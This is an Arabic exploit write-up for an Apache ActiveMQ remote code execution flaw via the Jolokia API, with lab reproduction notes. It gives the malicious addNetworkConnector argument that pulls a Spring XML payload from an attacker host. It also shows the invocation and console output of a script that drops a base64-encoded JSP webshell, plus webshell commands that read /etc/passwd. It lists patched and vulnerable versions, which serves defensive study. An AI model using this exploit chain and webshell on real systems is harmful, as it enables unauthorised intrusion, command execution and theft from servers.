
تحليل ثغرة Apache ActiveMQ RCE عبر Jolokia وملاحظات إعادة الإنتاج
| البند | التفاصيل |
|---|---|
| CVE ID | CVE-2026-34197 |
| CVSS | 8.8 (HIGH) |
| نوع الثغرة | تنفيذ التعليمات البرمجية عن بُعد (RCE) |
| CWE | CWE-20 التحقق غير السليم من الإدخال / CWE-94 حقن التعليمات البرمجية |
| المكوّن المتأثر | Apache ActiveMQ Classic - جسر Jolokia JMX-HTTP |
| الإصدارات المتأثرة | < 5.19.4 ومن 6.0.0 حتى 6.2.2 |
| الإصدارات المُصحَّحة | 5.19.4 / 6.2.3 |
| تاريخ الإفصاح | 2026-04-07 |
| المصادقة | مطلوبة افتراضيًا، وعادةً ما تكون admin:admin. قد تكون الإصدارات من 6.0.0 إلى 6.1.1 قابلة للوصول دون مصادقة عند دمجها مع CVE-2024-32114. |
| الاكتشاف | تم الإبلاغ عنه كبحث بمساعدة الذكاء الاصطناعي بواسطة Anthropic Claude، بعد أن ظلت الثغرة قائمة لنحو 13 عامًا. |
Attacker
|
|-- 1. POST /api/jolokia/
| Invoke BrokerService.addNetworkConnector(String)
| Argument: static:(vm://evil?brokerConfig=xbean:http://ATTACKER:PORT/shell.xml)
|
v
ActiveMQ Broker
|
|-- 2. Parses the URI. Because vm://evil does not exist, ActiveMQ tries to create a broker dynamically.
| brokerConfig=xbean:http://ATTACKER:PORT/shell.xml
|
|-- 3. The xbean: protocol fetches a remote Spring XML file over HTTP.
|
|-- 4. ResourceXmlApplicationContext parses the XML and instantiates a ProcessBuilder bean.
| The init-method="start" command runs before configuration validation blocks the URI.
|
`-- 5. Remote code execution is reached.
/api/jolokia/، مما يوفر وصولاً إلى JMX عبر HTTP.org.apache.activemq:* واسعة النطاق، بما في ذلك addNetworkConnector.brokerConfig في ناقل vm:// الإشارة إلى ملف XML بعيد خاص بـ Spring، ويتم إنشاء bean قبل رفض التكوين.أضاف ActiveMQ 6.2.3 تحققًا داخل addNetworkConnector() لرفض URIs ناقل vm://:
"error": "VM scheme is not allowed"
| البند | التفاصيل |
|---|---|
| مضيف المهاجم | macOS مع OrbStack Docker |
| الصورة المستهدفة | alfresco/alfresco-activemq:6.2.1-jre17-rockylinux8 (ActiveMQ 6.2.1) |
| مستخدم التشغيل | amq (uid=33031) |
| نظام التشغيل الأساسي | Rocky Linux 8.9 |
cd upstream-poc
docker compose up -d
curl -u admin:admin -H "Origin: http://localhost:8161" \
http://localhost:8161/api/jolokia/
تؤكد استجابة status: 200 أن Jolokia يمكن الوصول إليها.
python3 exploit_webshell.py \
-t http://localhost:8161 \
--lhost <YOUR_IP> \
--lport 9999
ينفذ البرنامج النصي الإجراءات التالية:
NetworkConnector موجودًا باسم NC لجعل الاختبار المتكرر موثوقًا.addNetworkConnector لتفعيل مسار التعليمات البرمجية القابل للاستغلال.curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=id"
# uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)
curl -u admin:admin "http://TARGET:8161/admin/<random>.jsp?cmd=cat+/etc/passwd"
===============================================================
CVE-2026-34197 ActiveMQ Jolokia RCE -> Webshell Drop
ActiveMQ Classic < 5.19.4 / 6.0.0 - 6.2.2
Target fetches one XML payload; JSP is written from inline base64
===============================================================
[*] Generated random webshell filename: ndkjwpqe.jsp
[*] Step 1/5: Checking Jolokia API...
[+] Jolokia accessible - status 200
[*] Step 2/5: Discovering broker name...
[!] Using default broker name: localhost
[*] Step 3/5: Cleaning up old NetworkConnector...
[*] Step 4/5: Trying webapps path: /opt/activemq/webapps/admin
[+] Payload server on :9999 (shell.xml with inline base64 webshell)
[+] Target fetched shell.xml from 192.168.3.107
[+] Jolokia returned 200 - exploit triggered
[*] Waiting for target to execute payload...
[+] Target fetched shell.xml from 192.168.3.107
[*] Step 5/5: Verifying webshell...
[+] =======================================================
[+] WEBSHELL OK: http://localhost:8161/admin/ndkjwpqe.jsp?cmd=<command>
[+] RCE Output: uid=33031(amq) gid=1000(Alfresco) groups=1000(Alfresco)
[+] =======================================================
يسجّل addNetworkConnector() موصلًا باسم NC. يفشل التسجيل الثاني بسبب تعارض في تسمية JMX ويعيد خطأ 500. يتعامل البرنامج النصي مع ذلك باستدعاء removeNetworkConnector("NC") قبل تفعيل الاستغلال.
يستخدم ActiveMQ خادم Jetty مضمّنًا، لكن دليل webapps موجود على القرص ويقوم محرك JSP بتجميع ملفات .jsp المكتوبة حديثًا. هذا يجعل كتابة الويب شيل ممكنة في البيئة المختبرة.
تكتب الحمولة ملف JSP باستخدام base64 مضمّن:
echo <BASE64_ENCODED_JSP> | base64 -d > /opt/activemq/webapps/admin/<random>.jsp
المزايا:
< و> و% و".يجب أن يتمكن الهدف من الوصول إلى خادم HTTP الذي يتحكم فيه المهاجم لجلب حمولة Spring XML. إذا لم يكن لدى الهدف مسار صادر إلى المهاجم، فلا يمكن إكمال مسار الاستغلال هذا.
قد تعيد طلبات Jolokia المباشرة خطأ 403 بسبب فحوصات CORS. أدرج ترويسة Origin مطابقة للهدف:
Origin: http://TARGET:8161
CVE-2026-34197/
|-- README.md # This report
|-- exploit_webshell.py # One-shot webshell writer with inline base64 and random JSP filename
`-- upstream-poc/ # File copy from dinosn/CVE-2026-34197
|-- docker-compose.yml # Lab environment for ActiveMQ 6.2.1
|-- exploit_poc.py # Original PoC script with serve/exploit/auto modes
`-- serve_payload.py # Simple payload HTTP server
| البرنامج النصي | الغرض | متطلب الاتصال الصادر | الويب شيل |
|---|---|---|---|
exploit_poc.py | PoC أصلي لاستغلال RCE أعمى ينفذ أمرًا عشوائيًا | مطلوب | لا |
jetty.xml.admin:admin.| الإصدار | الصورة | استجابة Jolokia | RCE |
|---|
| 5.18.6 | apache/activemq-classic:5.18.6 | status: 200, value: NC | نجح بصلاحيات uid=0(root) |
| 6.2.1 | alfresco/alfresco-activemq:6.2.1 | status: 200, value: NC | نجح بصلاحيات uid=33031(amq) |
| 6.2.3 | alfresco/alfresco-activemq:6.2 | error: VM scheme is not allowed | تم الإصلاح |
exploit_webshell.py | RCE انعكاسي لمرة واحدة عبر ويب شيل JSP مكتوب | مطلوب فقط لجلب XML | يُكتب تلقائيًا باسم ملف عشوائي |